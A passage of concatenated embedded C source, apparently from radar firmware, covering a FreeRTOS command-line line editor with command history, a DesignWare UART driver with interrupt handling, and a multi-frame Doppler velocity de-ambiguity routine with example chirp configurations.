do {
cmd_result = FreeRTOS_CLIProcessCommand(input_string, output_string, cmdMAX_OUTPUT_SIZE);
if (0 != output_string[0]) {
EMBARC_PRINTF("%s", output_string);
}
memset(output_string, 0x00, cmdMAX_OUTPUT_SIZE);
} while (cmd_result != pdFALSE);
/* update history command... */
cli_history_cmd_update(input_string, input_string_index);
cur_cmd_order = 0;
local_buffer_offset = 0;
/* All the strings generated by the command processing
have been sent. Clear the input string ready to receive
the next command. */
if (!strstr(input_string, "scan start")) {
EMBARC_PRINTF("<EOF>\r\n");
}
cur_cursor = 0;
input_string_index = 0;
memset(input_string, 0x00, cmdMAX_INPUT_SIZE);
cli_dir_idx = 0;
memset(cli_dir, '\0', 4);
break;
case CLI_CHAR_DEL:
case CLI_CHAR_BS:
if (cli_dir_idx > 0) {
cli_dir[cli_dir_idx] = '\0';
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx;
input_string_index += cli_dir_idx;
}
if (cur_cursor > 0) {
if (cur_cursor < input_string_index) {
int i = 0;
char tmp_string[CLI_COMMAND_LEN_MAX];
char tmp_string1[CLI_COMMAND_LEN_MAX];
for (; i < cur_cursor - 1; ) {
tmp_string1[i++] = ' ';
}
tmp_string1[i] = '\0';
memcpy(tmp_string, input_string, cur_cursor - 1);
tmp_string[cur_cursor - 1] = '\0';
memcpy(&input_string[cur_cursor - 1], &input_string[cur_cursor], input_string_index - cur_cursor);
input_string[input_string_index - 1] = '\0';
EMBARC_PRINTF("\r%s\r%s%s\r%s", CLI_LINE_CLEANUP_STR, tmp_string1, &input_string[cur_cursor - 1], tmp_string);
cur_cursor--;
} else {
EMBARC_PRINTF("%c", input_char);
input_string[--cur_cursor] = '\0';
}
input_string_index--;
}
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
break;
case CLI_DIR_1:
cli_dir[cli_dir_idx++] = input_char;
break;
case CLI_DIR_2:
if (0x1b == cli_dir[0]) {
cli_dir[cli_dir_idx++] = input_char;
} else {
cli_dir[cli_dir_idx++] = input_char;
cli_dir[cli_dir_idx++] = '\0';
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor++;
input_string_index++;
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
}
break;
case CLI_DIR_UP:
if ((0x1b == cli_dir[0]) && (0x5b == cli_dir[1])) {
last_cmd = cli_last_cmd();
if (last_cmd) {
EMBARC_PRINTF("\r%s\r%s", CLI_LINE_CLEANUP_STR, last_cmd->cmd_ptr);
memcpy(input_string, last_cmd->cmd_ptr, last_cmd->len);
input_string_index = last_cmd->len - 1;
} else {
EMBARC_PRINTF("\r%s\r", CLI_LINE_CLEANUP_STR);
input_string_index = 0;
}
cur_cursor = input_string_index;
} else {
cli_dir[cli_dir_idx++] = input_char;
cli_dir[cli_dir_idx++] = '\0';
EMBARC_PRINTF("%s", cli_dir);
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx - 1;
input_string_index += cli_dir_idx - 1;
}
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
break;
case CLI_DIR_DOWN:
if ((0x1b == cli_dir[0]) && (0x5b == cli_dir[1])) {
next_cmd = cli_next_cmd();
if (next_cmd) {
EMBARC_PRINTF("\r%s\r%s", CLI_LINE_CLEANUP_STR, next_cmd->cmd_ptr);
memcpy(input_string, next_cmd->cmd_ptr, next_cmd->len);
input_string_index = next_cmd->len - 1;
} else {
EMBARC_PRINTF("\r%s\r", CLI_LINE_CLEANUP_STR);
input_string_index = 0;
}
cur_cursor = input_string_index;
} else {
cli_dir[cli_dir_idx++] = input_char;
cli_dir[cli_dir_idx++] = '\0';
EMBARC_PRINTF("%s", cli_dir);
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx - 1;
input_string_index += cli_dir_idx - 1;
}
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
break;
case CLI_DIR_RIGHT:
case CLI_DIR_LEFT:
cli_dir[cli_dir_idx++] = input_char;
cli_dir[cli_dir_idx++] = '\0';
if ((0x1b == cli_dir[0]) && (0x5b == cli_dir[1])) {
if ((CLI_DIR_RIGHT == input_char) && (cur_cursor < input_string_index)) {
cur_cursor++;
EMBARC_PRINTF("%s", cli_dir);
}
if ((CLI_DIR_LEFT == input_char) && (cur_cursor > 0)) {
cur_cursor--;
EMBARC_PRINTF("%s", cli_dir);
}
} else {
EMBARC_PRINTF("%s", cli_dir);
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx - 1;
input_string_index += cli_dir_idx - 1;
}
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
break;
default:
if (cur_cursor >= input_string_index) {
EMBARC_PRINTF("%c", input_char);
} else {
int i = 0;
char tmp_string[CLI_COMMAND_LEN_MAX];
char tmp_string1[CLI_COMMAND_LEN_MAX];
for (; i < cur_cursor + 1; ) {
tmp_string1[i++] = ' ';
}
tmp_string1[i] = '\0';
memcpy(tmp_string, input_string, cur_cursor);
tmp_string[cur_cursor] = input_char;
tmp_string[cur_cursor + 1] = '\0';
input_string[input_string_index] = '\0';
EMBARC_PRINTF("\r%s\r%s%s\r%s", CLI_LINE_CLEANUP_STR, tmp_string1, &input_string[cur_cursor], tmp_string);
}
cli_dir[cli_dir_idx++] = input_char;
cli_dir[cli_dir_idx++] = '\0';
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx - 1;
input_string_index += cli_dir_idx - 1;
memset(cli_dir, '\0', 4);
cli_dir_idx = 0;
break;
} /* switch */
//local_buffer_offset = local_buffer_index;
local_buffer_index++;
}
} else {
/* back to wait a new line, and sleep again... */
taskYIELD();
}
}
}
/*
* get last command from history command buffer. in history command buffer,
* command order range is {1, CLI_COMMAND_ECHO_CNT}, current command order
* is 0.
* */
static struct cli_echo_control *cli_last_cmd(void)
{
struct cli_echo_control *r_ptr = NULL;
int cmd_count, cnt = CLI_COMMAND_ECHO_CNT;
struct cli_echo_control *echo_ctl_ptr = cli_echo_ctl_ptr;
if (cur_cmd_cnt < CLI_COMMAND_ECHO_CNT) {
cmd_count = cur_cmd_cnt;
} else {
cmd_count = cnt;
}
if (cur_cmd_order < cmd_count) {
while (cnt--) {
if (echo_ctl_ptr->cmd_order == cur_cmd_order + 1) {
r_ptr = echo_ctl_ptr;
break;
}
echo_ctl_ptr++;
}
cur_cmd_order++;
} else {
/* limit current order below or equal CLI_COMMAND_ECHO_CNT.
* so user can still find next command. */
cur_cmd_order = cmd_count + 1;
}
return r_ptr;
}
static struct cli_echo_control *cli_next_cmd(void)
{
struct cli_echo_control *r_ptr = NULL;
int cnt = CLI_COMMAND_ECHO_CNT;
struct cli_echo_control *echo_ctl_ptr = cli_echo_ctl_ptr;
if (cur_cmd_order > 0) {
while (cnt--) {
if (echo_ctl_ptr->cmd_order == cur_cmd_order - 1) {
r_ptr = echo_ctl_ptr;
break;
}
echo_ctl_ptr++;
}
cur_cmd_order--;
} else {
/* user can still find last command. */
//cur_cmd_order = 1;
}
return r_ptr;
}
static void cli_history_cmd_update(char *cmd_ptr, uint32_t len)
{
int idx, insert_flag = 0;
struct cli_echo_control *echo_ctl_ptr = cli_echo_ctl_ptr;
if (len > CLI_COMMAND_LEN_MAX) {
len = CLI_COMMAND_LEN_MAX;
}
for (idx = 0; idx < CLI_COMMAND_ECHO_CNT; idx++) {
if (echo_ctl_ptr[idx].cmd_order == 0xFF) {
if (0 == insert_flag) {
echo_ctl_ptr[idx].cmd_order = 1;
echo_ctl_ptr[idx].len = len;
memcpy(echo_ctl_ptr[idx].cmd_ptr, cmd_ptr, len);
insert_flag = 1;
cur_cmd_cnt++;
}
break;
} else if(echo_ctl_ptr[idx].cmd_order == CLI_COMMAND_ECHO_CNT) {
echo_ctl_ptr[idx].cmd_order = 1;
echo_ctl_ptr[idx].len = len;
memcpy(echo_ctl_ptr[idx].cmd_ptr, cmd_ptr, len);
insert_flag = 1;
} else {
echo_ctl_ptr[idx].cmd_order += 1;
}
}
}
int32_t cli_insert_str(char *input_string, char *cli_dir, uint32_t cur_cursor, uint32_t total_size)
{
int32_t ret = 0;
uint32_t cnt = 0;
char *tmp_str = cli_dir;
while (*tmp_str++) {
cnt++;
}
if ((total_size + cnt) >= CLI_COMMAND_LEN_MAX) {
cnt = CLI_COMMAND_LEN_MAX - total_size - 1;
ret = -1;
}
if (cur_cursor < total_size) {
while (total_size >= cur_cursor) {
input_string[total_size + cnt] = input_string[total_size];
total_size--;
}
}
memcpy(&input_string[cur_cursor], cli_dir, cnt);
return ret;
}
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_uart.h"
#include "uart_hal.h"
#define UART_ISR(_func_name_) static void _func_name_(void *params)
#define UART_FF_DEFAULT \
{.data_bits = UART_CHAR_8BITS, .parity = UART_NO_PARITY, .stop_bits = UART_STOP_1BIT }
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
inline static uint32_t uart_lock(xSemaphoreHandle lock)
{
uint32_t locked = 1;
if (0 == exc_sense()) {
if (xSemaphoreTake(lock, 0) != pdTRUE) {
locked = 0;
}
} else {
BaseType_t higher = 0;
if (xSemaphoreTakeFromISR(lock, &higher) != pdTRUE) {
locked = 0;
#if 0
} else {
if (higher) {
;
}
#endif
}
}
return locked;
}
inline static void uart_unlock(xSemaphoreHandle lock)
{
xSemaphoreGive(lock);
}
#else
inline static uint32_t uart_lock(xSemaphoreHandle lock)
{
return 1;
}
inline static void uart_unlock(xSemaphoreHandle lock)
{
(void *)lock;
}
#endif
typedef struct {
uint8_t inited;
uint8_t state;
dw_uart_format_t ff;
/* interrupt context using. */
DEV_BUFFER *rx_buf;
//uart_pp_buf_t rx_pp_buf;
DEV_BUFFER *tx_buf;
//uart_pp_buf_t tx_rbuf;
void *dev_uart;
#ifdef OS_FREERTOS
xSemaphoreHandle lock;
#endif
xfer_callback xfer_cb;
} uart_xfer_t;
static uart_xfer_t uart_runtime[UART_CNT_MAX];
static int32_t uart_int_install(uint32_t id);
static void uart_isr(uint32_t id, void *params);
UART_ISR(uart0_isr) { uart_isr(0, NULL); }
UART_ISR(uart1_isr) { uart_isr(1, NULL); }
int32_t uart_init(uint32_t id, uint32_t baud)
{
int32_t result = E_OK;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if (id >= UART_CNT_MAX) {
result = E_PAR;
} else {
dev_uart = (dw_uart_t *)uart_get_dev(id);
if (NULL == dev_uart) {
result = E_NOEXS;
} else {
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
if (NULL == uart_ops) {
result = E_NOOPS;
} else {
uart_enable(id, 1);
dmu_irq_enable(dev_uart->int_no, 1);
}
}
}
while (E_OK == result) {
clock_source_t clk_src;
dw_uart_format_t frame_format = UART_FF_DEFAULT;
uart_runtime[id].dev_uart = (void *)dev_uart;
result = uart_ops->format(dev_uart, &frame_format);
if (E_OK != result) {
break;
} else {
uart_runtime[id].ff.data_bits = frame_format.data_bits;
uart_runtime[id].ff.parity = frame_format.parity;
uart_runtime[id].ff.stop_bits = frame_format.stop_bits;
}
#define UART_RX_THRESHOLD_DEAULT (2)
#define UART_TX_THRESHOLD_DEAULT (0)
result = uart_ops->fifo_config(dev_uart, \
1, \
UART_RX_THRESHOLD_DEAULT, \
UART_TX_THRESHOLD_DEAULT);
if (E_OK != result) {
break;
}
clk_src = uart_clock_source(id);
if (CLOCK_SOURCE_INVALID != clk_src) {
dev_uart->ref_clock = clock_frequency(clk_src);
} else {
result = E_SYS;
break;
}
result = uart_ops->baud(dev_uart, baud);
if (E_OK != result) {
break;
}
result = uart_int_install(id);
if (E_OK != result) {
break;
}
#ifdef OS_FREERTOS
uart_runtime[id].lock = xSemaphoreCreateBinary();
xSemaphoreGive(uart_runtime[id].lock);
#endif
uart_runtime[id].inited = 1;
break;
}
return result;
}
int32_t uart_baud_set(uint32_t id, uint32_t baud)
{
int32_t result = E_OK;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if (id >= UART_CNT_MAX) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
}
}
if (E_OK == result) {
/* shouldn't be broken! */
uint32_t cpu_sts = arc_lock_save();
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
result = uart_ops->baud(dev_uart, baud);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t uart_frame_config(uint32_t id, dw_uart_format_t *ff)
{
int32_t result = E_OK;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if ((id >= UART_CNT_MAX) || (NULL == ff)) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
}
}
if (E_OK == result) {
/* shouldn't be broken! */
uint32_t cpu_sts = arc_lock_save();
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
result = uart_ops->format(dev_uart, ff);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t uart_write(uint32_t id, uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t dev_sts = 0;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if ((id >= UART_CNT_MAX) || (NULL == data) || (0 == len)) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
} else {
dev_sts = uart_lock(uart_runtime[id].lock);
if (0 == dev_sts) {
result = E_DBUSY;
}
}
}
if (E_OK == result) {
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
while (len) {
result = uart_ops->write(dev_uart, data, len);
if (result > 0) {
data += len - result;
len = (uint32_t)result;
} else {
break;
}
}
uart_unlock(uart_runtime[id].lock);
}
return result;
}
int32_t uart_read(uint32_t id, uint8_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t dev_sts = 0;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if ((id >= UART_CNT_MAX) || (NULL == data) || (0 == len)) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
} else {
dev_sts = uart_lock(uart_runtime[id].lock);
if (0 == dev_sts) {
result = E_DBUSY;
}
}
}
if (E_OK == result) {
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
while (len) {
result = uart_ops->read(dev_uart, data, len);
if (result > 0) {
data += len - result;
len = (uint32_t)result;
} else {
break;
}
}
uart_unlock(uart_runtime[id].lock);
}
return result;
}
#if 0
inline static void uart_rbuf_install(uart_pp_buf_t *pp_buf, void *new_buf)
{
uart_pp_buf_t *n_pp_buf_ptr = (uart_pp_buf_t *)new_buf;
pp_buf->buf = n_pp_buf_ptr->buf;
pp_buf->len = n_pp_buf_ptr->len;
pp_buf->nof_pp_buf = n_pp_buf_ptr->nof_pp_buf;
}
#endif
int32_t uart_buffer_register(uint32_t id, dev_buf_type_t type, void *buffer)
{
int32_t result = E_OK;
if ((id >= UART_CNT_MAX) || (type > DEV_TX_BUFFER) || \
(NULL == buffer)) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
}
}
if (E_OK == result) {
//uint8_t *data_ptr = NULL;
uint32_t cpu_sts = arc_lock_save();
if (DEV_RX_BUFFER == type) {
/*
uart_pp_buf_t *pp_buf_ptr = &uart_runtime[id].rx_pp_buf;
if ((NULL != pp_buf_ptr->buf)) {
result = E_DBUSY;
} else {
uart_rbuf_install(pp_buf_ptr, buffer);
}
*/
uart_runtime[id].rx_buf = (DEV_BUFFER *)buffer;
} else {
/*
uart_pp_buf_t *pp_buf_ptr = &uart_runtime[id].tx_rbuf;
if ((NULL != pp_buf_ptr->buf)) {
result = E_DBUSY;
} else {
uart_rbuf_install(pp_buf_ptr, buffer);
}
*/
/*
DEV_BUFFER *dev_buf = &uart_runtime[id].tx_buf;
data_ptr = (uint8_t *)dev_buf->buf;
if ((NULL != data_ptr) && \
(dev_buf->ofs < dev_buf->len)) {
result = E_DBUSY;
} else {
DEV_BUFFER *new_buf = (DEV_BUFFER *)buffer;
DEV_BUFFER_INIT(dev_buf, new_buf->buf, new_buf->len);
}
*/
uart_runtime[id].tx_buf = (DEV_BUFFER *)buffer;
}
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t uart_interrupt_enable(uint32_t id, dev_xfer_type_t type, uint32_t en)
{
int32_t result = E_OK;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if ((id >= UART_CNT_MAX) || (type > DEV_XFER)) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
}
}
if (E_OK == result) {
uint32_t mask = 0;
switch (type) {
case DEV_RECEIVE:
mask |= DW_UART_RX_DATA_AVAILABLE_INT;
mask |= DW_UART_RECEIVER_LINE_STS_INT;
break;
case DEV_TRANSMIT:
mask |= DW_UART_TX_HOLDING_REG_EMPTY_INT;
break;
case DEV_XFER:
mask |= DW_UART_RX_DATA_AVAILABLE_INT;
//mask |= DW_UART_RECEIVER_LINE_STS_INT;
mask |= DW_UART_TX_HOLDING_REG_EMPTY_INT;
break;
default:
/* panic! */
break;
}
uint32_t cpu_sts = arc_lock_save();
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
result = uart_ops->int_enable(dev_uart, en, mask);
arc_unlock_restore(cpu_sts);
}
return result;
}
int32_t uart_callback_register(uint32_t id, xfer_callback func)
{
int32_t result = E_OK;
if ((id >= UART_CNT_MAX) || (NULL == func)) {
result = E_PAR;
} else {
uint32_t cpu_sts = arc_lock_save();
uart_runtime[id].xfer_cb = func;
arc_unlock_restore(cpu_sts);
}
return result;
}
/* called by uart_init only. */
static int32_t uart_int_install(uint32_t id)
{
int32_t result = E_OK;
dw_uart_t *dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
if (dev_uart) {
switch (id) {
case 0:
result = int_handler_install(dev_uart->int_no, \
uart0_isr);
break;
case 1:
result = int_handler_install(dev_uart->int_no, \
uart1_isr);
break;
default:
result = E_SYS;
}
if (E_OK == result) {
int_enable(dev_uart->int_no);
}
}
return result;
}
static void uart_isr(uint32_t id, void *params)
{
int32_t result = E_OK;
uint32_t int_sts = 0, status = 0;
//uint32_t mask = 0;
//uint8_t *buf_ptr = NULL;
//uint32_t buf_len = 0;
//static uint32_t cur_pp_buf_idx = 0;
DEV_BUFFER *rx_buf = NULL;
DEV_BUFFER *dev_buf = NULL;
dw_uart_t *dev_uart = NULL;
dw_uart_ops_t *uart_ops = NULL;
if (id >= UART_CNT_MAX) {
result = E_PAR;
} else {
if ((0 == uart_runtime[id].inited) || \
(NULL == uart_runtime[id].dev_uart)) {
result = E_SYS;
} else {
dev_uart = (dw_uart_t *)uart_runtime[id].dev_uart;
if (NULL == dev_uart->ops) {
result = E_NOOPS;
} else {
uart_ops = (dw_uart_ops_t *)dev_uart->ops;
}
}
}
if (E_OK == result) {
/* get uart interrupt status. */
result = uart_ops->int_id(dev_uart);
if (result >= 0) {
int_sts = (uint32_t)result;
}
switch (int_sts) {
case IID_MODEM_STATUS:
/* record error! */
result = E_SYS;
break;
case IID_THR_EMPTY:
/* tx. */
dev_buf = uart_runtime[id].tx_buf;
if ((NULL == dev_buf) || (NULL == dev_buf->buf)) {
/*TODO: record error! */
} else {
if (dev_buf->ofs < dev_buf->len) {
uint8_t *buf_ptr = (uint8_t *)dev_buf->buf;
uint32_t cnt = dev_buf->len - dev_buf->ofs;
buf_ptr += dev_buf->ofs;
result = uart_ops->write(dev_uart, buf_ptr, cnt);
if (result >= 0) {
dev_buf->ofs += cnt - result;
} else {
/* TODO: record error! */
;
}
}
}
if (uart_runtime[id].xfer_cb) {
uart_runtime[id].xfer_cb(NULL);
}
break;
case IID_CHAR_TIMEOUT:
case IID_RX_DATA_AVAIL:
/* rx. */
rx_buf = uart_runtime[id].rx_buf;
if ((NULL == rx_buf) || (NULL == rx_buf->buf)) {
/* TODO: record error! */
} else {
uint8_t *buf_ptr = (uint8_t *)rx_buf->buf;
uint32_t free_size = rx_buf->len - rx_buf->ofs;
if (free_size > 0) {
buf_ptr += rx_buf->ofs;
result = uart_ops->read(dev_uart, buf_ptr, free_size);
if (result >= 0) {
rx_buf->ofs += free_size - (uint32_t)result;
} else {
/* TODO: record error! */
}
}
}
if (uart_runtime[id].xfer_cb) {
uart_runtime[id].xfer_cb(NULL);
}
break;
case IID_RX_LINE_STATUS:
/* rx line exists error! */
status = uart_ops->line_status(dev_uart);
if (status > 0) {
EMBARC_PRINTF("[%s]IID_RX_LINE_STATUS: 0x%x\r\n", __func__, status);
/* Clear the Rx fifo */
uart_ops->fifo_flush(dev_uart, UART_RX);
}
break;
case IID_NO_INT_PENDING:
EMBARC_PRINTF("[%s]IID_NO_INT_PENDING!\r\n", __func__);
result = E_SYS;
break;
case IID_BUSY_DETECT:
EMBARC_PRINTF("[%s]IID_BUSY_DETECT!\r\n", __func__);
break;
default:
result = E_SYS;
break;
}
}
}
<file_sep>#include "vel_deamb_MF.h"
#if VEL_DEAMB_MF_EN
/*
* About chirp parameters configurations:
*
* To enable multi-frame velocity de-ambiguity function, two frames with different chirp periods are required.
* Except for chirp period, it is suggested that the FMCW parameters are set to be the same so that
* targets generated in two frames can be easily matched.
*
* The velocity ambiguity is usually caused by virtual array which increased the chirp periods. It is
* suggested that the first frame is responsible for generating as many targets as possible to match
* the second frame targets and the second frame is responsible for virtual array to increase angle resolution.
*
* A pair of already verified configurations are list below as an example:
*
* ----------frame type0 configs:------------
* fmcw_startfreq = 76.800
* fmcw_bandwidth = 350.00
* fmcw_chirp_rampup = 14.00
* fmcw_chirp_down = 2.00
* fmcw_chirp_period = 47.00
* nchirp = 256
* adc_freq = 50
* dec_factor = 1
* adc_sample_start = 2.00
* adc_sample_end = 13.00
* tx_groups = [1, 0, 0, 0]
* rng_nfft = 512
* vel_nfft = 256 // higher velocity resolution helps to detect more targets
* doa_fft_mux = [15, 4369, 33825] // the first value 16 = 0xf means 4 channels used in DoA
*
* ----------frame type1 configs:-------------
* fmcw_startfreq = 76.800
* fmcw_bandwidth = 350.00
* fmcw_chirp_rampup = 14.00
* fmcw_chirp_down = 2.00
* fmcw_chirp_period = 33.00
* nchirp = 256
* adc_freq = 50
* dec_factor = 1
* adc_sample_start = 2.00
* adc_sample_end = 13.00
* tx_groups = [1, 0, 0, 16] // TX0 and TX3 TDM virtual array
* rng_nfft = 512
* vel_nfft = 128
* doa_fft_mux = [255, 292, 33825] // the first value 256 = 0xff means 8 channels used in DoA
*/
/*
* Function: Search Doppler frequency domain wrap number
*
* Description:
* For 2 different chirp periods, doppler frequency domain wrapping satisfies:
*
* v_ind1/vel_nfft1*1/Tc1 + n1*1/Tc1 = v_ind2/vel_nfft2*1/Tc2 + n2*1/Tc2
*
* That is:
*
* v_ind1*vel_nfft2*Tc2 + n1*vel_nfft1*vel_nfft2*Tc2
* = v_ind2*vel_nfft1*Tc1 + n2*vel_nfft1*vel_nfft2*Tc1
*
* This function is to search n1, n2 to minimize the following difference:
*
* Diff = v_ind1*vel_nfft2*Tc2 - v_ind2*vel_nfft1*Tc1
* + (n1*Tc2 - n2*Tc1)*vel_nfft1*vel_nfft2
*
* Tips:
* Given different n1, n2 in a constrained range (e.g. [-3,3]),
* to avoid the same 'Diff' value, do not choose Tc1 and Tc2 that let
* n1*Tc2 - n2*Tc1 has the same value .
* A bad example is Tc2 : Tc1 = 4 : 5, thus (n1, n2) = (-3, -3) and (n1, n2) = (2, 1)
* will result in the same 'Diff' value.
*/
void search_vel_wrap_num (uint32_t v_ind1, uint32_t v_nfft1, uint32_t Tc1, \
uint32_t v_ind2, uint32_t v_nfft2, uint32_t Tc2, \
signed char * wrp_num1, signed char * wrp_num2)
{
signed char n1_tmp = 0, n2_tmp = 0;
signed int diff_init = v_ind1 * Tc2 * v_nfft2 - v_ind2 * Tc1 * v_nfft1;
signed int diff_min = (diff_init >= 0) ? diff_init : (- diff_init);
uint32_t v_nfft2_mult_v_nfft1 = v_nfft2 * v_nfft1;
//OPTION_PRINT("diff_init = %d, diff_min = %d, v_nfft2_mult_v_nfft1 = %d \n", diff_init, diff_min, v_nfft2_mult_v_nfft1);
for (signed char n1 = - MAX_WRAP_NUM - 1; n1 <= MAX_WRAP_NUM - 1; n1++) { // - 1 is because negative velocity's value is usually larger than positive velocity's
for (signed char n2 = - MAX_WRAP_NUM - 1; n2 <= MAX_WRAP_NUM - 1; n2++) {
signed int tmp = (diff_init + (n1 * Tc2 - n2 * Tc1) * v_nfft2_mult_v_nfft1);
//OPTION_PRINT("tmp = %d, n1 = %d, n2 = %d \n", tmp, n1, n2);
tmp = (tmp >= 0) ? tmp : - tmp;
//OPTION_PRINT("tmp = %d, n1 = %d, n2 = %d \n", tmp, n1, n2);
if (diff_min > tmp) {
diff_min = tmp;
n1_tmp = n1;
n2_tmp = n2;
}
}
}
*wrp_num1 = n1_tmp;
*wrp_num2 = n2_tmp;
//OPTION_PRINT("diff_min = %d, wrp_num1 = %d, wrp_num2 = %d \n", diff_min, n1_tmp, n2_tmp);
return;
}
/*
* Insert main obj (frame type1 obj) matching info node to candi obj(frame type0 obj)'s
* potential matching objs chain.
* */
void insert_main_obj_info_node(pair_candi_obj_t *frame_type_0_obj, uint8_t candi_obj_ind, pair_main_obj_info_t * main_obj)
{
pair_main_obj_info_t * tmp = frame_type_0_obj[candi_obj_ind].head;
if(tmp == NULL) { // When head and tail all point to NULL, insert the first node
// OPTION_PRINT("frame_type_0_obj head, tail init!\n");
frame_type_0_obj[candi_obj_ind].head = main_obj;
frame_type_0_obj[candi_obj_ind].tail = main_obj;
} else if(tmp->weighted_diff_exp >= main_obj->weighted_diff_exp) { // When head point to a main object whose weighted_diff_exp
// is larger than main_obj's weighted_diff_exp
main_obj->next = tmp;
frame_type_0_obj[candi_obj_ind].head = main_obj;// insert as the first node in the chain
} else {
// Find insert position in weighted_diff_exp increasing order
while(tmp->next != NULL && tmp->next->weighted_diff_exp < main_obj->weighted_diff_exp) {
tmp = tmp->next;
}
if(tmp->next == NULL) { // Add node to the tail of chain
tmp->next = main_obj;
frame_type_0_obj[candi_obj_ind].tail = main_obj;
} else { // Insert node
main_obj->next = tmp->next;
tmp->next = main_obj;
}
}
frame_type_0_obj[candi_obj_ind].main_obj_num ++; // length of the ith frame type 0 object's potentially matching object chain increased
}
/*
* Insert candi obj (frame type0 obj) matching info node to main obj(frame type1 obj)'s
* potential matching objs chain.
* */
void insert_candi_obj_info_node(pair_main_obj_t *frame_type_1_obj, uint8_t main_obj_ind, pair_candi_obj_info_t * candi_obj)
{
pair_candi_obj_info_t * tmp1 = frame_type_1_obj[main_obj_ind].head;
if(tmp1 == NULL) { // When head and tail all point to NULL
// OPTION_PRINT("frame_type_1_obj head, tail init!\n");
frame_type_1_obj[main_obj_ind].head = candi_obj;
frame_type_1_obj[main_obj_ind].tail = candi_obj;
} else if(tmp1->weighted_diff_exp >= candi_obj->weighted_diff_exp) { // When head point to a candidate object whose weighted_diff_exp
// is larger than candi_obj's weighted_diff_exp
candi_obj->next = tmp1;
frame_type_1_obj[main_obj_ind].head = candi_obj;// insert as the first node in the chain
} else {
// Find insert position in weighted_diff_exp increasing order
while(tmp1->next != NULL && tmp1->next->weighted_diff_exp < candi_obj->weighted_diff_exp) {
tmp1 = tmp1->next;
}
if(tmp1->next == NULL) { // Add node to the tail of chain
tmp1->next = candi_obj;
frame_type_1_obj[main_obj_ind].tail = candi_obj;
} else { // Insert candi_obj
candi_obj->next = tmp1->next;
tmp1->next = candi_obj;
}
}
frame_type_1_obj[main_obj_ind].candi_obj_num ++; // length of the jth frame type 1 object's potentially matching object chain increased
}
/*
* Function: Recursively pair frame type0 and type1 objects
*
* Description: For details, refer to 'Example Matching Algorithm' for velocity de-ambiguity
* in chapter 13.6.2.2 in ALPS-MP baseband user guide.
*
*/
bool recur_pair_main_obj(pair_main_obj_t *frame_type_1_obj, pair_candi_obj_t *frame_type_0_obj, uint8_t main_obj_ind){
//OPTION_PRINT("// Recur Pair main_obj %d //\n",main_obj_ind);
while (frame_type_1_obj[main_obj_ind].head != NULL && frame_type_1_obj[main_obj_ind].match_flag != true ) {
uint8_t closest_candi_obj_ind = frame_type_1_obj[main_obj_ind].head->candi_obj_index;
uint8_t closest_main_obj_ind = frame_type_0_obj[closest_candi_obj_ind].head->main_obj_index;
if (closest_main_obj_ind == main_obj_ind){ // Successfully paired! && frame_type_0_obj[closest_candi_obj_ind].match_flag != true;
frame_type_0_obj[closest_candi_obj_ind].match_flag = true;
frame_type_1_obj[main_obj_ind].match_flag = true;
} else {
recur_pair_candi_obj(frame_type_1_obj, frame_type_0_obj, closest_candi_obj_ind); //search the smallest weighted_diff and pair
if (frame_type_1_obj[main_obj_ind].match_flag != true) { // frame_type_1_obj[main_obj_ind].match_flag may turn to true during
// previous pairing process in recur_pair_candi_obj()
frame_type_1_obj[main_obj_ind].head = frame_type_1_obj[main_obj_ind].head->next; // Try to match with next candi_obj
}
}
}
